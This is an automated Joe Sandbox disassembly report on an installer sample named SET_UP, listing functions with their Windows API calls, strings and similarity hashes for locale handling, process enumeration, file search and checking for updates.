API ID: Path$AddressCreateDirectoryExistsFileFolderFromLibraryListLoadLocationMallocProcSpecial
String ID: ADVINST_LOGS$Everyone$SHGetSpecialFolderPathW$Shell32.dll
API String ID: 1254244429-1733115844
Opcode ID: 0f8406650e54976cc82ae289c7e11e28e82875c0e3c14a54f175fca49fdcc8bd
Instruction ID: b119da054fcb9d288510bc5c2a0dbe9d1e4546eda32575e658f294439ef16552
Opcode Fuzzy Hash: 0f8406650e54976cc82ae289c7e11e28e82875c0e3c14a54f175fca49fdcc8bd
Instruction Fuzzy Hash: 3FB17A71D006099FDB10DFA8C948BEEBBF4AF59310F24C119E415AB3A1EB745A41DBA1

Function 000DE190 Relevance: 16.9, APIs: 11, Instructions: 397processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0CE81EE3,?,?,00000000,?,?,?,?,?,?,?,?,00119A0A,000000FF), ref: 000DE1D5
Process32FirstW.KERNEL32(00000000,00000000), ref: 000DE21E
OpenProcess.KERNEL32(00000400,00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,00119A0A,000000FF), ref: 000DE23A
QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,?,?,?,?,?,00119A0A), ref: 000DE26D
CloseHandle.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?,00119A0A,000000FF), ref: 000DE312
Process32NextW.KERNEL32(?,00000000), ref: 000DE327
CloseHandle.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?,00119A0A,000000FF), ref: 000DE34F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstFullImageNameNextOpenQuerySnapshotToolhelp32
String ID:
API String ID: 1957892908-0
Opcode ID: f7c4bf6e4348b3961df6ea626dfc3e9acecfb63510897ad8b6e1f0dc0d5470bb
Instruction ID: b863c82f0f11faee539bbe57df323b44af3a0fa72dd92683312ac6ea04c38b8b
Opcode Fuzzy Hash: f7c4bf6e4348b3961df6ea626dfc3e9acecfb63510897ad8b6e1f0dc0d5470bb
Instruction Fuzzy Hash: FDE19471900749DFDB10DF68D948BEEB7F8FF44314F14822AE919AB291D774AA44CB60

Function 000FEB1D Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

GetACP.KERNEL32(?,?,?,?,?,?,000F3E90,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 000FEBDE
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,000F3E90,?,?,?,00000055,?,-00000050,?,?), ref: 000FEC09
_wcschr.LIBVCRUNTIME ref: 000FEC9D
_wcschr.LIBVCRUNTIME ref: 000FECAB
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 000FED6C

Strings

utf8, xrefs: 000FECDB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: a1538da59d8abb84c6d5ce5daaf1f7510dda466280b0e7345a12b7b8015cc2c3
Instruction ID: 99e5cfdec2c682f3fd7b3f080bb170f42f6e1a7755934a6295dfbb1573bd1099
Opcode Fuzzy Hash: a1538da59d8abb84c6d5ce5daaf1f7510dda466280b0e7345a12b7b8015cc2c3
Instruction Fuzzy Hash: BE712B3160024AAAD724AB35CC46FFB73E8EF44700F144439F706D79A2EB70E940A7A1

Function 000A0AF0 Relevance: 9.6, APIs: 2, Strings: 3, Instructions: 882processCOMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 000A0B3F

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000010,?,?), ref: 000A1214

Part of subcall function 00078700: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,000E5BDA,C000008C,00000001,?,000E5C0B,00000000,?,00000000,?,00073C47,00000000,0CE81EE3), ref: 0007870C

Strings

AutoCloseApplication, xrefs: 000A1333
%s%d, xrefs: 000A132C
"%s" %s, xrefs: 000A11C8

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Process$CreateExceptionHeapRaise_wcschr
String ID: "%s" %s$%s%d$AutoCloseApplication
API String ID: 1066923407-1320874614
Opcode ID: f48d8289fa1b81502022ca4edc363e06b6f36ef111f516a3a2b5a3856414a754
Instruction ID: a19b3a2ae596a621d625563690f8e9cca5fcae4ea236b09f213850a292a9420b
Opcode Fuzzy Hash: f48d8289fa1b81502022ca4edc363e06b6f36ef111f516a3a2b5a3856414a754
Instruction Fuzzy Hash: 82726B71A01609DFDB00DFA8C889BDEFBB4FF45310F148269E515AB292DB75AE05CB90

Function 000C86F0 Relevance: 9.1, Strings: 7, Instructions: 375COMMON

Download Yara Rule

Strings

node_id, xrefs: 000C87BC
HKLM\Software\%s\%s\Version, xrefs: 000C89B6
prerelease, xrefs: 000C8772
tag_name, xrefs: 000C890B
draft, xrefs: 000C8728
published_at, xrefs: 000C885E
name, xrefs: 000C89D9

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: HKLM\Software\%s\%s\Version$draft$name$node_id$prerelease$published_at$tag_name
API String ID: 0-2359547755
Opcode ID: 07433458b4e53c3c3d65045188f6aabdd805de9231f6889a675e04c07ea42376
Instruction ID: 4f7904b67e927d241ec332d9c9908052ab0c7362c53e43a2039dc6b48eaa4783
Opcode Fuzzy Hash: 07433458b4e53c3c3d65045188f6aabdd805de9231f6889a675e04c07ea42376
Instruction Fuzzy Hash: 98D1E3356001058BDB18DF58C894BBEB3A5FF44310F64C66DE8169B682EF30DE45CBA4

Function 000FF2A9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,000FF5C7,00000002,00000000,?,?,?,000FF5C7,?,00000000), ref: 000FF342
GetLocaleInfoW.KERNEL32(?,20001004,000FF5C7,00000002,00000000,?,?,?,000FF5C7,?,00000000), ref: 000FF36B
GetACP.KERNEL32(?,?,000FF5C7,?,00000000), ref: 000FF380

Strings

ACP, xrefs: 000FF2C7
OCP, xrefs: 000FF2FD

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ce5a29f979582803c2e369b847a39b57b3b838153ff4150ca3c71cbc8fa13f37
Instruction ID: 52da1298acf0a6ec6880952f8020139a08e61ccea09ef1890e14f757b5797e32
Opcode Fuzzy Hash: ce5a29f979582803c2e369b847a39b57b3b838153ff4150ca3c71cbc8fa13f37
Instruction Fuzzy Hash: 0C21C86270010BA7DBB48F64C900ABB73E6EF94B50B5A8474EB0AD7915E732DF41E350

Function 000FF47E Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

Part of subcall function 000F52B8: _free.LIBCMT ref: 000F531A
Part of subcall function 000F52B8: _free.LIBCMT ref: 000F5350

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 000FF58A
IsValidCodePage.KERNEL32(00000000), ref: 000FF5D3
IsValidLocale.KERNEL32(?,00000001), ref: 000FF5E2
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 000FF62A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 000FF649

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 33951ed56e4495fa4db72d36eea218d4e4059243bd095e11ad27d2197c846cc7
Instruction ID: 186187c4e4a22c6d4ea89359df6737856cfbf346367d34f70815dbded517aaef
Opcode Fuzzy Hash: 33951ed56e4495fa4db72d36eea218d4e4059243bd095e11ad27d2197c846cc7
Instruction Fuzzy Hash: 6F518E71A0060EEBDB60DFA4DC41AFE73F8AF48B00F144479AB14E7591EBB09944AB60

Function 000E3450 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 342COMMON

Download Yara Rule

Strings

;aiu;, xrefs: 000E34E4
General, xrefs: 000E3573

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: ;aiu;$General
API String ID: 0-711602179
Opcode ID: c9ba421b716398c55cfdece149f61ca11605ca0f35bf4560e1d80238e5c34a6a
Instruction ID: f1c771c706d00ca1c1a1897ef14a63f5c45797e9783f73277d0727d5197424e4
Opcode Fuzzy Hash: c9ba421b716398c55cfdece149f61ca11605ca0f35bf4560e1d80238e5c34a6a
Instruction Fuzzy Hash: 4FD1C371A006959FCB14CF2AC588BEABBF5FF44750F118469E809BB352DB31EA45CB90

Function 000995A0 Relevance: 6.6, Strings: 5, Instructions: 320COMMON

Download Yara Rule

Strings

>, xrefs: 00099709, 00099727
", xrefs: 00099763, 00099781
&, xrefs: 00099655, 00099673
', xrefs: 000997BD, 000997DB
<, xrefs: 000996AF, 000996CD

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: &$'$>$<$"
API String ID: 0-87953025
Opcode ID: 17df5501cd8a2fce220111426dde99bf11c14f3bd443704eba19a3ee498f99a8
Instruction ID: 20c8bd66d414789bec85dd6c2b20550999225b6577f0ca37114669045710f222
Opcode Fuzzy Hash: 17df5501cd8a2fce220111426dde99bf11c14f3bd443704eba19a3ee498f99a8
Instruction Fuzzy Hash: AFC1B070A14214DFCF24DF6CC885AAEB7B5FF44700F104A1EE50AD7291EB70AA15DB95

Function 000FEF30 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

Part of subcall function 000F52B8: _free.LIBCMT ref: 000F531A
Part of subcall function 000F52B8: _free.LIBCMT ref: 000F5350

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000FEF84
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000FEFCE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000FF094

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 78fd1cb2b480a63d5bb150e68273a9632c1f04167827d9c53e76bccd742742e5
Instruction ID: da9304c30a922f84fecaefb4addb3a96a13111af45963ede2781e923bfcb0d7f
Opcode Fuzzy Hash: 78fd1cb2b480a63d5bb150e68273a9632c1f04167827d9c53e76bccd742742e5
Instruction Fuzzy Hash: 3F617F7165020BDFEB689F24CD82BBA77E8FF04700F14417AEA05D6986EB34D991EB50

Function 0007D7A0 Relevance: 4.6, APIs: 3, Instructions: 92fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,74DEE010,?,?,74DEE010), ref: 0007D83F
FindClose.KERNEL32(00000000), ref: 0007D89E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: dd31799887aaabacbd26bbcc8ce45cdf3edf2451e6d8c5e9141a057c8ff87721
Instruction ID: e57dfe8bdc9a69d0dd0ba58fd5c781712d8debb6cf122d906743f35b609fe60e
Opcode Fuzzy Hash: dd31799887aaabacbd26bbcc8ce45cdf3edf2451e6d8c5e9141a057c8ff87721
Instruction Fuzzy Hash: 2E31AB70D04218DBDB68DF54CC48BAAB7B4EF48310F20C1AAE819A3680EB395944CB96

Function 000F289E Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,000F289D,?,?,?,?,?,000EC44D), ref: 000F28C0
TerminateProcess.KERNEL32(00000000,?,000F289D,?,?,?,?,?,000EC44D), ref: 000F28C7
ExitProcess.KERNEL32 ref: 000F28D9

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b0a11f00c8c4373754007be7b54d6636c3a11c7e8f7fcd8aeaa4b09635c4e803
Instruction ID: 5e8503df4a70ace5d7f69b7311cf57b716ec13320341dc04d911b73efcbf0adf
Opcode Fuzzy Hash: b0a11f00c8c4373754007be7b54d6636c3a11c7e8f7fcd8aeaa4b09635c4e803
Instruction Fuzzy Hash: CAE0B63118254CAFCB157B98DE09DA83B69FB40391F004424FA058A932CB35DD92EAA0

Function 00077290 Relevance: 4.0, APIs: 2, Instructions: 1007libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,-000000045D054797,-43DA81A6,?,685C87DB,?,?,000000FF,?,?,0014B258,000714D5,00000010), ref: 0007735F
GetProcAddress.KERNEL32(-00000001B9693223), ref: 00077BE7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID:
API String ID: 1646373207-0
Opcode ID: 86e0a47c028cd080af05a4dab5b01900384e46b0eb9e92904b3940176c62d326
Instruction ID: 34e15456e0e6752705827b2d2d161fd948beb893e4fbc511794b301c327b388d
Opcode Fuzzy Hash: 86e0a47c028cd080af05a4dab5b01900384e46b0eb9e92904b3940176c62d326
Instruction Fuzzy Hash: 6272127A94D3208FC708EFB9ECD65A93662FB92314345822ED54697D7BCF34D0828B81

Function 0008C3F0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 906memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,0004E81A,-00000002D99466B3,-8EC3CF68,000C92E1,?,00000000), ref: 0008CD7A

Strings

^b|, xrefs: 0008C68F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AllocVirtual
String ID: ^b|
API String ID: 4275171209-188721200
Opcode ID: eb8ea926acd37c12f59e372b332ed80a1d328c377dece6f28582b0fbda8173a3
Instruction ID: 86340f488b749ac0a46fab52f069aa732b91344aefeb7af5fec75d43434439e2
Opcode Fuzzy Hash: eb8ea926acd37c12f59e372b332ed80a1d328c377dece6f28582b0fbda8173a3
Instruction Fuzzy Hash: F062597AD083108FD708EF79ECC66AE77A1FB82314745822DE55697976CB34D8C28B81

Function 0008C5D0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 760memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,0004E81A,-00000002D99466B3,-8EC3CF68,000C92E1,?,00000000), ref: 0008CD7A

Strings

^b|, xrefs: 0008C68F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AllocVirtual
String ID: ^b|
API String ID: 4275171209-188721200
Opcode ID: 2f96d2ffc6ceac7472339306d589c42c9dad1a1124e4988dae88e13ea69e2ffe
Instruction ID: 1695aed18c7e53a9c2ed8c6f7c5bdfcc675568f847ec58e23e5d57d5bd007caa
Opcode Fuzzy Hash: 2f96d2ffc6ceac7472339306d589c42c9dad1a1124e4988dae88e13ea69e2ffe
Instruction Fuzzy Hash: C642167AD093208FD748EFB9ECC61AA3762FB82314346912ED54697D77CF3495828A81

Function 000F1160 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42e2ce5ed2c6a75d027727b41965e7397f80167efa818ba46071f419bd6537ea
Instruction ID: 0f213eb4e1f27207cc1247bf05dbc46c335b92b4e70a98eedb56248417eb1681
Opcode Fuzzy Hash: 42e2ce5ed2c6a75d027727b41965e7397f80167efa818ba46071f419bd6537ea
Instruction Fuzzy Hash: 50F14B71E00619DBDF14CFA9C8806EEBBF1FF88314F258269D919AB744D731AA01DB90

Function 000950C0 Relevance: 3.1, Strings: 2, Instructions: 614COMMON

Download Yara Rule

Strings

0, xrefs: 000955F8
gfff, xrefs: 000955E1

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: 0$gfff
API String ID: 0-4230242222
Opcode ID: 01d63552e915a4178f58df29d84014131d4387ca7397df1349dffb612add712b
Instruction ID: c758257af748d5835cfb1c5950db72ab43be660384917c1b95883520275dcfe2
Opcode Fuzzy Hash: 01d63552e915a4178f58df29d84014131d4387ca7397df1349dffb612add712b
Instruction Fuzzy Hash: CD32D171A08B419FCB16CF2AC89462EF7E1BF99312F148A1EF88597351D770D981DB82

Function 0007C950 Relevance: 3.1, APIs: 2, Instructions: 97windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001B00,00000000,?,00000400,?,00000000,00000000,0CE81EE3), ref: 0007C9A8
GetLastError.KERNEL32(?,00000400,?,00000000,00000000,0CE81EE3), ref: 0007C9B2

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: f8fccdda7188918d9ed8bb6f6f059f9663e5053f7c494bd4e468658229c99518
Instruction ID: 72a69d23ab5e46b237f44846b338e81a5854cfe4d3db5353e0e8c182dbfd5bc0
Opcode Fuzzy Hash: f8fccdda7188918d9ed8bb6f6f059f9663e5053f7c494bd4e468658229c99518
Instruction Fuzzy Hash: F431C471E00609AFEB14DF68DC45BAEB7F8EB48714F10812EF518E7381D77999008794

